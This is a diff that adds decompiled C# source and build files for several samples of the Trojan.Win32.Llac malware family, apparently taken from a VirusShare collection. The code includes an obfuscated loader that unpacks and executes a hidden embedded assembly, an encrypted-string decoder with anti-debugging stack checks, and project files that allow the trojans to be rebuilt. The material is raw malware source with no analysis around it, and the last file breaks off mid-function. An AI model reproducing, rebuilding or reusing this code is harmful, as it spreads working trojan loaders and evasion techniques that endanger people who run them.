+      int num = (int) new \u0002((\u0003.\u0003) this, obj0).ShowDialog();
+    }
+
+    protected override void \u0003([In] \u0004.\u0003 obj0)
+    {
+      int num = (int) MessageBox.Show(obj0.\u0003().ToString(), string.Format("{0} Unexpected Error", (object) "Morph_12.06.2011_224918"), MessageBoxButtons.OK, MessageBoxIcon.Hand);
+    }
+
+    public static bool \u0004()
+    {
+      try
+      {
+        \u0003.\u0003.\u0003((\u0003.\u0003) new \u0006.\u0003());
+        return true;
+      }
+      catch (SecurityException ex1)
+      {
+        try
+        {
+          try
+          {
+            typeof (Application).InvokeMember("EnableVisualStyles", BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) null);
+          }
+          catch (MissingMethodException ex2)
+          {
+          }
+          \u0006.\u0004 obj = new \u0006.\u0004(new \u0002(string.Format("{0} cannot initialize itself because some permissions are not granted.\n\nYou probably try to launch {0} in a partial-trust situation. It's usually the case when the application is hosted on a network share.\n\nYou need to run {0} in full-trust, or at least grant it the UnmanagedCode security permission.\n\nTo grant this application the required permission, contact your system administrator, or use the Microsoft .NET Framework Configuration tool.", (object) "Morph_12.06.2011_224918"), false));
+          obj.ShowInTaskbar = true;
+          int num = (int) obj.ShowDialog();
+        }
+        catch (Exception ex3)
+        {
+          int num = (int) MessageBox.Show(ex3.ToString(), string.Format("{0} Unexpected Error", (object) "Morph_12.06.2011_224918"), MessageBoxButtons.OK, MessageBoxIcon.Hand);
+        }
+        return false;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0006/_0004.cs

@@ -0,0 +1,107 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Windows.Forms;
+
+namespace \u0006
+{
+  internal sealed class \u0004 : Form
+  {
+    private \u0004.\u0002 \u0001;
+    private \u0005.\u0003 \u0001 = new \u0005.\u0003();
+    private Button \u0001 = new Button();
+    private Button \u0002 = new Button();
+    private \u0003.\u0004 \u0001 = new \u0003.\u0004(string.Format("{0} attempted to perform an operation not allowed by the security policy.", (object) "Morph_12.06.2011_224918"));
+    private \u0002.\u0005 \u0001 = new \u0002.\u0005();
+
+    private void \u0003()
+    {
+      this.SuspendLayout();
+      this.\u0002.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
+      this.\u0002.FlatStyle = FlatStyle.System;
+      this.\u0002.Size = new Size(100, 24);
+      this.\u0002.Location = new Point(408 - this.\u0002.Width, 188);
+      this.\u0002.TabIndex = 0;
+      this.\u0002.Text = "&Quit";
+      this.\u0002.Click += new EventHandler(this.\u0004);
+      this.\u0001.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
+      this.\u0001.FlatStyle = FlatStyle.System;
+      this.\u0001.Size = new Size(100, 24);
+      this.\u0001.Location = new Point(this.\u0002.Left - this.\u0001.Width - 6, 188);
+      this.\u0001.TabIndex = 1;
+      this.\u0001.Text = "&Continue";
+      this.\u0001.Click += new EventHandler(this.\u0003);
+      this.\u0001.Anchor = AnchorStyles.Bottom | AnchorStyles.Left;
+      this.\u0001.SetBounds(6, 186, 120, 32);
+      this.\u0001.\u0003(\u0005.\u0004.\u0003);
+      this.\u0001.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
+      this.\u0001.Location = new Point(20, 72);
+      this.\u0001.Size = new Size(382, 13);
+      this.AutoScaleBaseSize = new Size(5, 13);
+      this.ClientSize = new Size(418, 224);
+      this.ControlBox = false;
+      this.Controls.AddRange(new Control[5]
+      {
+        (Control) this.\u0001,
+        (Control) this.\u0001,
+        (Control) this.\u0002,
+        (Control) this.\u0001,
+        (Control) this.\u0001
+      });
+      this.FormBorderStyle = FormBorderStyle.FixedSingle;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.CenterScreen;
+      this.ResumeLayout(false);
+    }
+
+    private void \u0003([In] object obj0, [In] EventArgs obj1)
+    {
+      this.\u0001.\u0003(true);
+      this.Close();
+    }
+
+    private void \u0004([In] object obj0, [In] EventArgs obj1)
+    {
+      this.\u0001.\u0003(false);
+      this.Close();
+    }
+
+    public \u0004([In] \u0004.\u0002 obj0)
+    {
+      this.\u0003();
+      this.Icon = \u0005.\u0002.\u0003();
+      this.Text = "Morph_12.06.2011_224918";
+      if (this.Text.Length == 0)
+        this.Text = "Security error";
+      this.\u0001 = obj0;
+      if (!obj0.\u0003())
+        this.\u0001.Visible = false;
+      if (obj0.\u0003().Length > 0)
+      {
+        this.\u0001.Text = obj0.\u0003();
+      }
+      else
+      {
+        StringBuilder stringBuilder = new StringBuilder();
+        stringBuilder.Append(string.Format("{0} attempted to perform an operation not allowed by the security policy. To grant this application the required permission, contact your system administrator, or use the Microsoft .NET Framework Configuration tool.\n\n", (object) "Morph_12.06.2011_224918"));
+        if (obj0.\u0003())
+          stringBuilder.Append("If you click Continue, the application will ignore this error and attempt to continue. If you click Quit, the application will close immediately.\n\n");
+        stringBuilder.Append(obj0.\u0003().Message);
+        this.\u0001.Text = stringBuilder.ToString();
+      }
+      int height = this.\u0001.Bottom + 60;
+      if (height <= this.ClientSize.Height)
+        return;
+      this.ClientSize = new Size(this.ClientSize.Width, height);
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_003CModule_003E.cs

@@ -0,0 +1,111 @@
+// Decompiled with JetBrains decompiler
+// Type: <Module>
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.IO;
+using System.IO.Compression;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Security.Policy;
+using System.Text;
+
+internal class \u003CModule\u003E
+{
+  static \u003CModule\u003E()
+  {
+    \u0002.\u0001.\u0003();
+    \u0001.\u0002.\u0003();
+    \u0001.\u0001.\u0004();
+  }
+
+  [STAThread]
+  public static int \u0003([In] string[] obj0)
+  {
+    int num;
+    try
+    {
+      if (!\u0006.\u0003.\u0004())
+      {
+        num = -1;
+      }
+      else
+      {
+        AppDomain currentDomain = AppDomain.CurrentDomain;
+        currentDomain.AssemblyResolve += new ResolveEventHandler(\u003CModule\u003E.\u0003);
+        num = currentDomain.ExecuteAssemblyByName(new AssemblyName("syncui, version=1.0.0.0, culture=neutral, publickeytoken=null"), (Evidence) null, obj0);
+      }
+    }
+    catch (Exception ex)
+    {
+      object[] objArray = new object[1]{ (object) obj0 };
+      \u0003.\u0003.\u0003(ex, objArray);
+    }
+    return num;
+  }
+
+  public static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1)
+  {
+    try
+    {
+      return \u003CModule\u003E.\u0003(Convert.ToBase64String(Encoding.Default.GetBytes(obj1.Name.ToLowerInvariant())));
+    }
+    catch (Exception ex)
+    {
+      object obj = obj0;
+      ResolveEventArgs resolveEventArgs = obj1;
+      throw UnhandledException.\u0003(ex, obj, (object) resolveEventArgs);
+    }
+  }
+
+  public static Assembly \u0003([In] string obj0)
+  {
+    Stream manifestResourceStream;
+    Assembly assembly1;
+    int count;
+    DeflateStream input1;
+    try
+    {
+      manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(obj0);
+      try
+      {
+        Stream input2 = manifestResourceStream;
+        if (input2 == null)
+        {
+          assembly1 = (Assembly) null;
+        }
+        else
+        {
+          count = new BinaryReader(input2).ReadInt32();
+          input1 = new DeflateStream(manifestResourceStream, CompressionMode.Decompress);
+          try
+          {
+            assembly1 = Assembly.Load(new BinaryReader((Stream) input1).ReadBytes(count));
+          }
+          finally
+          {
+            input1?.Dispose();
+          }
+        }
+      }
+      finally
+      {
+        manifestResourceStream?.Dispose();
+      }
+      return assembly1;
+    }
+    catch (Exception ex)
+    {
+      Stream stream = manifestResourceStream;
+      // ISSUE: variable of a boxed type
+      __Boxed<int> local = (ValueType) count;
+      DeflateStream deflateStream = input1;
+      Assembly assembly2 = assembly1;
+      string str = obj0;
+      throw UnhandledException.\u0003(ex, (object) stream, (object) local, (object) deflateStream, (object) assembly2, (object) str);
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/AssemblyInfo.cs

@@ -0,0 +1,15 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyFileVersion("3.8.5.0")]
+[assembly: SuppressIldasm]
+[assembly: Guid("75b5b36f-d802-4f35-81e5-514dd537ed5f")]
+[assembly: AssemblyProduct("dDwF110lEm8orBMzjShFEas09Oc3n91Mvi67EqKQ1GbntCcy")]
+[assembly: AssemblyCopyright("o31vm42DuuKvFDpyAR4cKdXcKT5")]
+[assembly: AssemblyCompany("sZbSH4pWmgD3w1ue2PHJNoj")]
+[assembly: AssemblyDescription("F254s5B5dilnW4eU6vt7sHc4000ulB2Mz5d7S8D9H4G8WEt26")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTitle("Ajmdg1PoB")]
+[assembly: AssemblyVersion("3.5.4.1")]

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/Trojan.Win32.Llac.acnb.csproj

@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{140DBB64-18CD-4386-9B68-B57B4C4E5171}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>sine stb</AssemblyName>
+    <ApplicationVersion>3.5.4.1</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="_0002.cs" />
+    <Compile Include="_0003.cs" />
+    <Compile Include="_0005.cs" />
+    <Compile Include="_0006.cs" />
+    <Compile Include="_0008.cs" />
+    <Compile Include="_000E.cs" />
+    <Compile Include="_000F.cs" />
+    <Compile Include="_0002 .cs" />
+    <Compile Include="_0003 .cs" />
+    <Compile Include="_0005 .cs" />
+    <Compile Include="_0008 .cs" />
+    <Compile Include="sinestb\b45b6dfbfdhsSHFGy45h567.cs" />
+    <Compile Include="sinestb\My\MySettings.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="      ​  " />
+    <EmbeddedResource Include="sinestb\b45b6dfbfdhsSHFGy45h567.resx" />
+    <EmbeddedResource Include="sinestb\Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/Trojan.Win32.Llac.acnb.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "sine stb", "Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.csproj", "{140DBB64-18CD-4386-9B68-B57B4C4E5171}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{140DBB64-18CD-4386-9B68-B57B4C4E5171}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{140DBB64-18CD-4386-9B68-B57B4C4E5171}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{140DBB64-18CD-4386-9B68-B57B4C4E5171}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{140DBB64-18CD-4386-9B68-B57B4C4E5171}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0002.cs

@@ -0,0 +1,45 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+[EditorBrowsable(EditorBrowsableState.Never)]
+[GeneratedCode("MyTemplate", "8.0.0.0")]
+internal sealed class \u0002 : WindowsFormsApplicationBase
+{
+  [DebuggerStepThrough]
+  public \u0002()
+    : base(AuthenticationMode.Windows)
+  {
+    this.IsSingleInstance = false;
+    this.EnableVisualStyles = true;
+    this.SaveMySettingsOnExit = true;
+    this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+  }
+
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [STAThread]
+  [DebuggerHidden]
+  internal static void \u0002(string[] _param0)
+  {
+    try
+    {
+      Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+    }
+    finally
+    {
+    }
+    \u0005.\u0002().Run(_param0);
+  }
+
+  [DebuggerStepThrough]
+  protected override void OnCreateMainForm() => this.MainForm = (Form) \u0005.\u0002().\u0002();
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0002 .cs

@@ -0,0 +1,33 @@
+// Decompiled with JetBrains decompiler
+// Type:  
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+
+[DebuggerNonUserCode]
+[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+[StandardModule]
+[HideModuleName]
+internal sealed class \u0002\u2000
+{
+  private static ResourceManager \u0002;
+  private static CultureInfo \u0003;
+
+  internal static ResourceManager \u0002()
+  {
+    if (object.ReferenceEquals((object) \u0002\u2000.\u0002, (object) null))
+      \u0002\u2000.\u0002 = new ResourceManager(\u0005\u2000.\u0002(-958290164), typeof (\u0002\u2000).Assembly);
+    return \u0002\u2000.\u0002;
+  }
+
+  internal static CultureInfo \u0002() => \u0002\u2000.\u0003;
+
+  internal static void \u0002(CultureInfo _param0) => \u0002\u2000.\u0003 = _param0;
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0003.cs

@@ -0,0 +1,21 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+[GeneratedCode("MyTemplate", "8.0.0.0")]
+[EditorBrowsable(EditorBrowsableState.Never)]
+internal sealed class \u0003 : Computer
+{
+  [DebuggerHidden]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  public \u0003()
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0003 .cs

@@ -0,0 +1,18 @@
+// Decompiled with JetBrains decompiler
+// Type:  
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using sinestb.My;
+using System.Diagnostics;
+
+[StandardModule]
+[DebuggerNonUserCode]
+[HideModuleName]
+internal sealed class \u0003\u2000
+{
+  internal static MySettings \u0002() => MySettings.Default;
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0005.cs

@@ -0,0 +1,195 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using sinestb;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+[StandardModule]
+[HideModuleName]
+[GeneratedCode("MyTemplate", "8.0.0.0")]
+internal sealed class \u0005
+{
+  private static readonly \u0005.\u0005<\u0003> \u0002 = new \u0005.\u0005<\u0003>();
+  private static readonly \u0005.\u0005<\u0002> \u0003 = new \u0005.\u0005<\u0002>();
+  private static readonly \u0005.\u0005<User> \u0005 = new \u0005.\u0005<User>();
+  private static \u0005.\u0005<\u0005.\u0002> \u0008 = new \u0005.\u0005<\u0005.\u0002>();
+  private static readonly \u0005.\u0005<\u0005.\u0003> \u0006 = new \u0005.\u0005<\u0005.\u0003>();
+
+  [DebuggerNonUserCode]
+  static \u0005()
+  {
+  }
+
+  [DebuggerHidden]
+  internal static \u0003 \u0002() => \u0005.\u0002.\u0002();
+
+  [DebuggerHidden]
+  internal static \u0002 \u0002() => \u0005.\u0003.\u0002();
+
+  [DebuggerHidden]
+  internal static User \u0002() => \u0005.\u0005.\u0002();
+
+  [DebuggerHidden]
+  internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002();
+
+  [DebuggerHidden]
+  internal static \u0005.\u0003 \u0002() => \u0005.\u0006.\u0002();
+
+  [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal sealed class \u0002
+  {
+    public b45b6dfbfdhsSHFGy45h567 \u0002;
+    [ThreadStatic]
+    private static Hashtable \u0003;
+
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public \u0002()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    public b45b6dfbfdhsSHFGy45h567 \u0002()
+    {
+      this.\u0002 = \u0005.\u0002.\u0002<b45b6dfbfdhsSHFGy45h567>(this.\u0002);
+      return this.\u0002;
+    }
+
+    [DebuggerNonUserCode]
+    public void \u0002(b45b6dfbfdhsSHFGy45h567 _param1)
+    {
+      if (_param1 == this.\u0002)
+        return;
+      if (_param1 != null)
+        throw new ArgumentException(\u0005\u2000.\u0002(-958285189));
+      this.\u0003<b45b6dfbfdhsSHFGy45h567>(ref this.\u0002);
+    }
+
+    [DebuggerHidden]
+    private static T \u0002<T>(T _param0) where T : Form, new()
+    {
+      if ((object) _param0 != null && !_param0.IsDisposed)
+        return _param0;
+      if (\u0005.\u0002.\u0003 != null)
+      {
+        if (\u0005.\u0002.\u0003.ContainsKey((object) typeof (T)))
+          throw new InvalidOperationException(Utils.GetResourceString(\u0005\u2000.\u0002(-958285231)));
+      }
+      else
+        \u0005.\u0002.\u0003 = new Hashtable();
+      \u0005.\u0002.\u0003.Add((object) typeof (T), (object) null);
+      try
+      {
+        return new T();
+      }
+      catch (TargetInvocationException ex) when (
+      {
+        // ISSUE: unable to correctly present filter
+        ProjectData.SetProjectError((Exception) ex);
+        if (ex.InnerException != null)
+        {
+          SuccessfulFiltering;
+        }
+        else
+          throw;
+      }
+      )
+      {
+        throw new InvalidOperationException(Utils.GetResourceString(\u0005\u2000.\u0002(-958285266), ex.InnerException.Message), ex.InnerException);
+      }
+      finally
+      {
+        \u0005.\u0002.\u0003.Remove((object) typeof (T));
+      }
+    }
+
+    [DebuggerHidden]
+    private void \u0003<T>(ref T _param1) where T : Form
+    {
+      _param1.Dispose();
+      _param1 = default (T);
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1));
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public override int GetHashCode() => base.GetHashCode();
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal System.Type \u0002() => typeof (\u0005.\u0002);
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public override string ToString() => base.ToString();
+  }
+
+  [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal sealed class \u0003
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public \u0003()
+    {
+    }
+
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1));
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public override int GetHashCode() => base.GetHashCode();
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    internal System.Type \u0002() => typeof (\u0005.\u0003);
+
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public override string ToString() => base.ToString();
+
+    [DebuggerHidden]
+    private static T \u0002<T>(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0;
+
+    [DebuggerHidden]
+    private void \u0003<T>(ref T _param1) => _param1 = default (T);
+  }
+
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [ComVisible(false)]
+  internal sealed class \u0005<\u0002> where \u0002 : new()
+  {
+    [ThreadStatic]
+    private static \u0002 \u0002;
+
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public \u0005()
+    {
+    }
+
+    [DebuggerHidden]
+    internal \u0002 \u0002()
+    {
+      if ((object) \u0005.\u0005<\u0002>.\u0002 == null)
+        \u0005.\u0005<\u0002>.\u0002 = new \u0002();
+      return \u0005.\u0005<\u0002>.\u0002;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0005 .cs

@@ -0,0 +1,180 @@
+// Decompiled with JetBrains decompiler
+// Type:  
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+
+internal static class \u0005\u2000
+{
+  private static readonly Dictionary<int, string> \u0002 = new Dictionary<int, string>(209);
+  private static BinaryReader \u0003;
+  private static byte[] \u0005;
+  private static short \u0008;
+  private static int \u0006;
+  private static byte[] \u000E;
+
+  [MethodImpl(MethodImplOptions.NoInlining)]
+  internal static string \u0002(int _param0)
+  {
+    lock (\u0005\u2000.\u0002)
+    {
+      string str1;
+      if (\u0005\u2000.\u0002.TryGetValue(_param0, out str1))
+        return str1;
+      if (\u0005\u2000.\u0003 == null)
+      {
+        Assembly executingAssembly = Assembly.GetExecutingAssembly();
+        Assembly.GetCallingAssembly();
+        \u0005\u2000.\u0006 = 1610370;
+        Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("      \u200B  ");
+        int skipFrames = 1;
+        StackTrace stackTrace = new StackTrace(skipFrames, false);
+        \u0005\u2000.\u0006 ^= 6470 | skipFrames;
+        int index = skipFrames - 1;
+        StackFrame frame = stackTrace.GetFrame(index);
+        MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
+        \u0005\u2000.\u0006 ^= index + 128;
+        Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
+        if (frame == null)
+          \u0005\u2000.\u0006 ^= 219315;
+        bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
+        \u0005\u2000.\u0006 ^= 160;
+        if (!flag)
+        {
+          flag = (object) type == null;
+          if (flag)
+            \u0005\u2000.\u0006 ^= 219283;
+        }
+        if (flag == (stackTrace != null))
+          \u0005\u2000.\u0006 ^= 32;
+        \u0005\u2000.\u0006 ^= 6502 | index + 1;
+        \u0005\u2000.\u0003 = new BinaryReader(manifestResourceStream);
+        short count = (short) ((int) \u0005\u2000.\u0003.ReadInt16() ^ -11950);
+        if (count == (short) 0)
+          \u0005\u2000.\u0008 = (short) ((int) \u0005\u2000.\u0003.ReadInt16() ^ 4163);
+        else
+          \u0005\u2000.\u0005 = \u0005\u2000.\u0003.ReadBytes((int) count);
+        Assembly assembly = executingAssembly;
+        AssemblyName assemblyName;
+        try
+        {
+          assemblyName = assembly.GetName();
+        }
+        catch
+        {
+          assemblyName = new AssemblyName(assembly.FullName);
+        }
+        \u0005\u2000.\u000E = assemblyName.GetPublicKeyToken();
+        if (\u0005\u2000.\u000E != null && \u0005\u2000.\u000E.Length == 0)
+          \u0005\u2000.\u000E = (byte[]) null;
+        \u0005\u2000.\u0006 = \u0005\u2000.\u0006 & 268435314 ^ 6788;
+      }
+      int num1 = _param0 ^ -958285185;
+      \u0005\u2000.\u0003.BaseStream.Position = (long) num1;
+      byte[] numArray1;
+      if (\u0005\u2000.\u0005 != null)
+      {
+        numArray1 = \u0005\u2000.\u0005;
+      }
+      else
+      {
+        short count = \u0005\u2000.\u0008 != (short) -1 ? \u0005\u2000.\u0008 : (short) ((int) \u0005\u2000.\u0003.ReadInt16() ^ 24370 ^ num1);
+        numArray1 = count != (short) 0 ? \u0005\u2000.\u0003.ReadBytes((int) count) : (byte[]) null;
+      }
